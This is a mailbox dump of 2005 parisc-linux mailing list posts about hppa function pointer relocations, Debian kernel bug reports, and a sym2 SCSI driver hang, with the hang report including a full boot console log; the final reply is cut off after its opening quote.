X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: PUpFKiR4TlIv47eQeGhrSVVGU2poZdmU
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22412

On Tue, Mar 08, 2005 at 04:08:51PM -0500, Carlos O'Donell wrote:
> On Tue, Mar 08, 2005 at 02:02:33PM -0500, John David Anglin wrote:
> > > > This problem was fixed yesterday by Alan Modra.
> > > 
> > > I'm not sure what you mean in your statement "shared library function
> > > pointers are resolved when the library is loaded?" The function pointers
> > > exist as two-byte entries in the PLT, and are non-unique, and they
> > > aren't resolved until call time with lazy resolution.

No, in an hppa-linux shared lib, a function pointer is accessed via a
word with a PLABEL32 reloc on it.  This reloc is processed before any
code in the shared lib runs, to point to a function descriptor created
by _dl_make_fptr.

-- 
Alan Modra
IBM OzLabs - Linux Technology Centre
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] debian kernel 2.6.11
Date: Wed, 9 Mar 2005 10:26:38 +0100
Lines: 28
Approved: news@gmane.org
Message-ID: <420B30A20000B73F@mail-1-bnl.tiscali.it>
References: <20050308184911.GC15184@roadwarrior.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623689 12926 80.91.229.3 (22 Nov 2014 02:34:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:49 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Kyle McMartin" <kyle@mcmartin.ca>
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 09 Mar 2005 09:27:00 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx031) with SMTP; 09 Mar 2005 10:27:00 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3FC807D6A0;
	Wed,  9 Mar 2005 02:28:01 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11319-02; Wed, 9 Mar 2005 02:28:01 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5E98C7D6A6;
	Wed,  9 Mar 2005 02:28:00 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EDF7D7D6A0
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  9 Mar 2005 02:27:47 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11051-08 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 9 Mar 2005 02:27:47 -0700 (MST)
Original-Received: from mrqout1.tiscali.it (mrqout1.tiscali.it [195.130.225.11])
	by free.linux.hp.com (Postfix) with ESMTP id 632687D69F
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  9 Mar 2005 02:27:47 -0700 (MST)
Original-Received: from mail-1-bnl.mail.tiscali.sys ([10.39.115.131]
	helo=mail-1-bnl.tiscali.it)
	by mrqout1.tiscali.it with esmtp (Exim 4.43)
	id 1D8xSg-0001LK-Kz; Wed, 09 Mar 2005 10:26:41 +0100
Original-Received: from [57.67.177.33] by mail-1-bnl.tiscali.it with HTTP;
	Wed, 9 Mar 2005 10:26:38 +0100
In-Reply-To: <20050308184911.GC15184@roadwarrior.mcmartin.ca>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: BK1FKlEuTlIv47eQeGhrSVVGU2poZZnm
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22413


> 
> On Tue, Mar 08, 2005 at 05:53:18PM +0100, Joel Soete wrote:
> > 
> > > The kernel-image-2.6.8-32 from the debian pool didnt recognize ext3=

> > > filesystem.
> > >
> > May be interesting that you feel in a bug report?
> >
> 
> Please don't suggest this to people. In every case I've seen, it's
> because they were doing something stupid, and you're just making more
> work for me if they file bugs.

Right; my bad I would have to check pkg first ;-)

Appologies (i will take care)

Joel


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] BUG sym2 hangs on non-existant Target
Date: Tue, 8 Mar 2005 18:48:56 -0700
Lines: 310
Approved: news@gmane.org
Message-ID: <20050309014856.GA26055@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623689 12930 80.91.229.3 (22 Nov 2014 02:34:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:49 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 09 Mar 2005 01:47:49 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx064) with SMTP; 09 Mar 2005 02:47:49 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 224A97D6A0;
	Tue,  8 Mar 2005 18:48:50 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09934-02; Tue, 8 Mar 2005 18:48:50 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D0F997D6A6;
	Tue,  8 Mar 2005 18:48:48 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B96227D6A0
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  8 Mar 2005 18:48:45 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09654-08 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 8 Mar 2005 18:48:45 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 054A77D69F
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  8 Mar 2005 18:48:45 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 9C4E829803C
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  8 Mar 2005 18:48:57 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26003-04 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 8 Mar 2005 18:48:56 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id D5EF029800A; Tue,  8 Mar 2005 18:48:56 -0700 (MST)
Content-Disposition: inline
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: pzlFKvlvTlIv47eQeGhrSVVGU2poZVn2
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22414

Willy,
2.6.11-pa2 is hanging after sym2 spews some unusual messages.
console output appended.

This is an a500 (riot) connected to an Ultra2 SC10 (A5273A).
There are only disk devices 0-3 and 8-13. 14 is the enclosure controller.
There is no 15 and apperently sym2 thinks there is.
It aborts, resets the bus, aborts, resets the bus, then hangs.
I let it set there for 5+ minutes.
console is non-responsive - only GSP is still talking.

Let me know which debug options I should hand sym2 and
I can collect those tonight/tomorrow.

grant


Firmware Version  43.50

Duplex Console IO Dependent Code (IODC) revision 1

------------------------------------------------------------------------------
   (c) Copyright 1995-2002, Hewlett-Packard Company, All rights reserved
------------------------------------------------------------------------------

  Processor   Speed            State           CoProcessor State  Cache Size
  Number                                       State              Inst    Data
  ---------  --------   ---------------------  -----------------  ------------
      0      650  MHz   Active                 Functional         750 KB 1.5 MB
      1      650  MHz   Idle                   Functional         750 KB 1.5 MB

  Central Bus Speed (in MHz)  :        120  
  Available Memory            :    4194304  KB
  Good Memory Required        : Not initialized. Defaults to 32 MB. 

   Primary boot path:    0/0/1/1.15          
   Alternate boot path:  0/0/2/1.15          
   Console path:         0/0/4/1.643         
   Keyboard path:        0/0/4/0.0           


---- Main Menu ---------------------------------------------------------------

     Command                           Description
     -------                           -----------
     BOot [PRI|ALT|<path>]             Boot from specified path
     PAth [PRI|ALT] [<path>]           Display or modify a path
     SEArch [DIsplay|IPL] [<path>]     Search for boot devices

     COnfiguration menu                Displays or sets boot values
     INformation menu                  Displays hardware information
     SERvice menu                      Displays service commands

     DIsplay                           Redisplay the current menu
     HElp [<menu>|<command>]           Display help for menu or command
     RESET                             Restart the system
----
Main Menu: Enter command or menu > bo
Interact with IPL (Y, N, or Cancel)?> y

Booting... 
Boot IO Dependent Code (IODC) revision 1


HARD Booted.
palo ipl 1.5 root@c3k Fri May 14 16:17:38 MDT 2004

Partition Start(MB) End(MB) Id Type
1               1     191   f0 Palo
2             192    1526   82 swap
3            1527   17546   83 ext2

PALO(F0) partition contains:
PALO is formatted EXT2/3Current command line:
1/vmlinux-2.6.11-pa2 noudev root=/dev/sda3 HOME=/ console=ttyS0 TERM=linux
 0: 1/vmlinux-2.6.11-pa2
 1: noudev
 2: root=/dev/sda3
 3: HOME=/
 4: console=ttyS0
 5: TERM=linux

<#>    edit the numbered field
'b'    boot with this command line
'r'    restore command line
'l'    list dir
? 2
root=/dev/sdk3
Current command line:
1/vmlinux-2.6.11-pa2 noudev root=/dev/sdk3 HOME=/ console=ttyS0 TERM=linux
 0: 1/vmlinux-2.6.11-pa2
 1: noudev
 2: root=/dev/sdk3
 3: HOME=/
 4: console=ttyS0
 5: TERM=linux

<#>    edit the numbered field
'b'    boot with this command line
'r'    restore command line
'l'    list dir
? b

Command line for kernel: 'noudev root=/dev/sdk3 HOME=/ console=ttyS0 TERM=linux palo_kernel=1/vmlinux-2.6.11-pa2'
Selected kernel: /vmlinux-2.6.11-pa2 from partition 1
ELF64 executable
Entry 00100000 first 00100000 n 3
Segment 0 load 00100000 size 4217472 mediaptr 0x1000
Segment 1 load 00508000 size 302032 mediaptr 0x407000
Segment 2 load 00554000 size 290792 mediaptr 0x451000
Branching to kernel entry point 0x00100000.  If this is the last
message you see, you may need to switch your console.  This is
a common symptom -- search the FAQ and mailing list at parisc-linux.org

Linux version 2.6.11-pa2 (grundler@riot) (gcc version 3.4.4 20041218 (prerelease) (Debian 3.4.3-6)) #1 SMP Mon Mar 7 22:21:58 PST 2005
FP[0] enabled: Rev 1 Model 19
The 64-bit Kernel has started...
Determining PDC firmware type: 64 bit PAT.
model 00005e20 00000491 00000000 00000001 6de785ee 100000f0 00000008 000000b2 000000b2
vers  00000203
CPUID vers 19 rev 8 (0x00000268)
capabilities 0x5
model 9000/800/A500-6X
Memory Ranges:
 0) Start 0x0000000000000000 End 0x00000000efffffff Size   3840 Mb
 1) Start 0x00000010f0000000 End 0x00000010ffffffff Size    256 Mb
Total Memory: 4096 Mb
SMP: bootstrap CPU ID is 0
Built 2 zonelists
Kernel command line: noudev root=/dev/sdk3 HOME=/ console=ttyS0 TERM=linux palo_kernel=1/vmlinux-2.6.11-pa2
PID hash table entries: 4096 (order: 12, 131072 bytes)
Console: colour dummy device 160x64
Dentry cache hash table entries: 1048576 (order: 11, 8388608 bytes)
Inode-cache hash table entries: 524288 (order: 10, 4194304 bytes)
Memory: 4194304k available
Mount-cache hash table entries: 256 (order: 0, 4096 bytes)
Brought up 1 CPUs
NET: Registered protocol family 16
Searching for devices...
Found devices:
1. Crescendo 650 W2 at 0xfffffffffffa0000 [160] { 0, 0x0, 0x5e2, 0x00004 }
2. Crescendo 650 W2 at 0xfffffffffffa2000 [162] { 0, 0x0, 0x5e2, 0x00004 }
3. Memory at 0xfffffffffed08000 [8] { 1, 0x0, 0x09b, 0x00009 }
4. Astro BC Runway Port at 0xfffffffffed00000 [0] { 12, 0x0, 0x582, 0x0000b }
5. Elroy PCI Bridge at 0xfffffffffed30000 [0/0] { 13, 0x0, 0x782, 0x0000a }
6. Elroy PCI Bridge at 0xfffffffffed34000 [0/2] { 13, 0x0, 0x782, 0x0000a }
7. Elroy PCI Bridge at 0xfffffffffed38000 [0/4] { 13, 0x0, 0x782, 0x0000a }
8. Elroy PCI Bridge at 0xfffffffffed3c000 [0/6] { 13, 0x0, 0x782, 0x0000a }
Enabling PDC_PAT chassis codes support.

********** VIRTUAL FRONT PANEL **********
System Boot detected
*****************************************
LEDs:  RUN      ATTENTION     FAULT     REMOTE     POWER
       ON       FLASH         OFF       ON         ON
LED State: There was a system interruption that did not take the system down.
Check Chassis and Console Logs for error messages.

processor                 system initialization      1C00

*****************************************

************ EARLY BOOT VFP *************
End of early boot detected
*****************************************
 (0x5) found at 0xfffffffffed34000
LBA version TR4.0 (0x5) found at 0xfffffffffed38000
LBA version TR4.0 (0x5) found at 0xfffffffffed3c000
SCSI subsystem initialized
unwind_init: start = 0x103ef480, end = 0x1040ae40, entries = 7068
Performance monitoring counters enabled for Crescendo 650 W2
Initializing Cryptographic API
PDC Stable Storage facility v0.09
Soft power switch support not available.
Generic RTC Driver v1.07
Serial: 8250/16550 driver $Revision: 1.90 $ 17 ports, IRQ sharing enabled
ttyS0 at MMIO 0xfffffffff8000000 (irq = 22) is a 16550A
ttyS1 at MMIO 0xfffffffff8000008 (irq = 22) is a 16450
ttyS2 at MMIO 0xfffffffff8000010 (irq = 22) is a 16550A
ttyS3 at MMIO 0xfffffffff8000030 (irq = 22) is a 16550A
ttyS4 at MMIO 0xfffffffff8000038 (irq = 22) is a 16550A
io scheduler noop registered
io scheduler anticipatory registered
io scheduler deadline registered
io scheduler cfq registered
RAMDISK driver initialized: 16 RAM disks of 6144K size 1024 blocksize
loop: loaded (max 8 devices)
sym0: <896> rev 0x7 at pci 0000:00:01.0 irq 19
sym0: PA-RISC Firmware, ID 7, Fast-40, LVD, parity checking
sym0: SCSI BUS has been reset.
scsi0 : sym-2.2.0
  Vendor: SEAGATE   Model: ST318203LC        Rev: HP04
  Type:   Direct-Access                      ANSI SCSI revision: 02
 target0:0:0: tagged command queuing enabled, command queue depth 16.
 target0:0:0: Beginning Domain Validation
 target0:0:0: asynchronous.
 target0:0:0: wide asynchronous.
 target0:0:0: Domain Validation skipping write tests
 target0:0:0: FAST-20 WIDE SCSI 40.0 MB/s ST (50 ns, offset 15)
 target0:0:0: Ending Domain Validation
  Vendor: SEAGATE   Model: ST318203LC        Rev: HP04
  Type:   Direct-Access                      ANSI SCSI revision: 02
 target0:0:1: tagged command queuing enabled, command queue depth 16.
 target0:0:1: Beginning Domain Validation
 target0:0:1: asynchronous.
 target0:0:1: wide asynchronous.
 target0:0:1: Domain Validation skipping write tests
 target0:0:1: FAST-20 WIDE SCSI 40.0 MB/s ST (50 ns, offset 15)
 target0:0:1: Ending Domain Validation
  Vendor: SEAGATE   Model: ST318203LC        Rev: HP04
  Type:   Direct-Access                      ANSI SCSI revision: 02
 target0:0:2: tagged command queuing enabled, command queue depth 16.
 target0:0:2: Beginning Domain Validation
 target0:0:2: asynchronous.
 target0:0:2: wide asynchronous.
 target0:0:2: Domain Validation skipping write tests
 target0:0:2: FAST-20 WIDE SCSI 40.0 MB/s ST (50 ns, offset 15)
 target0:0:2: Ending Domain Validation
  Vendor: SEAGATE   Model: ST318203LC        Rev: HP04
  Type:   Direct-Access                      ANSI SCSI revision: 02
 target0:0:3: tagged command queuing enabled, command queue depth 16.
 target0:0:3: Beginning Domain Validation
 target0:0:3: asynchronous.
 target0:0:3: wide asynchronous.
 target0:0:3: Domain Validation skipping write tests
 target0:0:3: FAST-20 WIDE SCSI 40.0 MB/s ST (50 ns, offset 15)
 target0:0:3: Ending Domain Validation
  Vendor: SEAGATE   Model: ST318203LC        Rev: HP04
  Type:   Direct-Access                      ANSI SCSI revision: 02
 target0:0:8: tagged command queuing enabled, command queue depth 16.
 target0:0:8: Beginning Domain Validation
 target0:0:8: asynchronous.
 target0:0:8: wide asynchronous.
 target0:0:8: Domain Validation skipping write tests
 target0:0:8: FAST-20 WIDE SCSI 40.0 MB/s ST (50 ns, offset 15)
 target0:0:8: Ending Domain Validation
  Vendor: SEAGATE   Model: ST318203LC        Rev: HP04
  Type:   Direct-Access                      ANSI SCSI revision: 02
 target0:0:9: tagged command queuing enabled, command queue depth 16.
 target0:0:9: Beginning Domain Validation
 target0:0:9: asynchronous.
 target0:0:9: wide asynchronous.
 target0:0:9: Domain Validation skipping write tests
 target0:0:9: FAST-20 WIDE SCSI 40.0 MB/s ST (50 ns, offset 15)
 target0:0:9: Ending Domain Validation
  Vendor: SEAGATE   Model: ST318203LC        Rev: HP04
  Type:   Direct-Access                      ANSI SCSI revision: 02
 target0:0:10: tagged command queuing enabled, command queue depth 16.
 target0:0:10: Beginning Domain Validation
 target0:0:10: asynchronous.
 target0:0:10: wide asynchronous.
 target0:0:10: Domain Validation skipping write tests
 target0:0:10: FAST-20 WIDE SCSI 40.0 MB/s ST (50 ns, offset 15)
 target0:0:10: Ending Domain Validation
  Vendor: SEAGATE   Model: ST318203LC        Rev: HP04
  Type:   Direct-Access                      ANSI SCSI revision: 02
 target0:0:11: tagged command queuing enabled, command queue depth 16.
 target0:0:11: Beginning Domain Validation
 target0:0:11: asynchronous.
 target0:0:11: wide asynchronous.
 target0:0:11: Domain Validation skipping write tests
 target0:0:11: FAST-20 WIDE SCSI 40.0 MB/s ST (50 ns, offset 15)
 target0:0:11: Ending Domain Validation
  Vendor: SEAGATE   Model: ST318203LC        Rev: HP04
  Type:   Direct-Access                      ANSI SCSI revision: 02
 target0:0:12: tagged command queuing enabled, command queue depth 16.
 target0:0:12: Beginning Domain Validation
 target0:0:12: asynchronous.
 target0:0:12: wide asynchronous.
 target0:0:12: Domain Validation skipping write tests
 target0:0:12: FAST-20 WIDE SCSI 40.0 MB/s ST (50 ns, offset 15)
 target0:0:12: Ending Domain Validation
  Vendor: SEAGATE   Model: ST318203LC        Rev: HP04
  Type:   Direct-Access                      ANSI SCSI revision: 02
 target0:0:13: tagged command queuing enabled, command queue depth 16.
 target0:0:13: Beginning Domain Validation
 target0:0:13: asynchronous.
 target0:0:13: wide asynchronous.
 target0:0:13: Domain Validation skipping write tests
 target0:0:13: FAST-20 WIDE SCSI 40.0 MB/s ST (50 ns, offset 15)
 target0:0:13: Ending Domain Validation
  Vendor: HP        Model: A5272A            Rev: HP05
  Type:   Enclosure                          ANSI SCSI revision: 02
 target0:0:14: Beginning Domain Validation
 target0:0:14: asynchronous.
 target0:0:14: wide asynchronous.
 target0:0:14: Domain Validation skipping write tests
 target0:0:14: FAST-10 WIDE SCSI 20.0 MB/s ST (100 ns, offset 15)
 target0:0:14: Ending Domain Validation
sym0:15: No MSG OUT phase after selection with ATN.
 0:0:15:0: ABORT operation started.
 0:0:15:0: ABORT operation timed-out.
 0:0:15:0: DEVICE RESET operation started.
 0:0:15:0: DEVICE RESET operation timed-out.
 0:0:15:0: BUS RESET operation started.
sym0: SCSI BUS reset detected.
sym0: SCSI BUS has been reset.
 0:0:15:0: BUS RESET operation complete.
sym0:15: No MSG OUT phase after selection with ATN.
 0:0:15:0: ABORT operation started.
 0:0:15:0: ABORT operation timed-out.
 0:0:15:0: HOST RESET operation started.
sym0: SCSI BUS has been reset.
[hang]
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Solution to OPD's in hppa-linux,
	including a transition plan?
Date: Fri, 11 Mar 2005 19:49:28 -0500 (EST)
Lines: 51
Approved: news@gmane.org
Message-ID: <200503120049.j2C0nTDc017666@hiauly1.hia.nrc.ca>
References: <20050311180542.GV22872@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623689 12932 80.91.229.3 (22 Nov 2014 02:34:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:49 +0000 (UTC)
Cc: tausq@debian.org,
 amodra@bigpond.net.au,
 parisc-linux@lists.parisc-linux.org
To: carlos@baldric.uwo.ca (Carlos O'Donell)
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 12 Mar 2005 00:50:33 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx006) with SMTP; 12 Mar 2005 01:50:33 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 08F027D667;
	Fri, 11 Mar 2005 17:51:29 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02539-09; Fri, 11 Mar 2005 17:51:28 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 015047D664;
	Fri, 11 Mar 2005 17:51:28 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E09867D661
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 11 Mar 2005 17:51:23 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02539-06 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 11 Mar 2005 17:51:23 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 5932C7D627
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 11 Mar 2005 17:51:23 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j2C0nThF017668; Fri, 11 Mar 2005 19:49:30 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j2C0nTDc017666;
	Fri, 11 Mar 2005 19:49:29 -0500 (EST)
In-Reply-To: <20050311180542.GV22872@baldric.uwo.ca> from "Carlos O'Donell" at
	Mar 11, 2005 01:05:42 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: u1BZKoUnTlIv47eQeGhrSVVGU2poZVmm
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22415

> On Fri, Mar 11, 2005 at 08:57:51AM +1030, Alan Modra wrote:
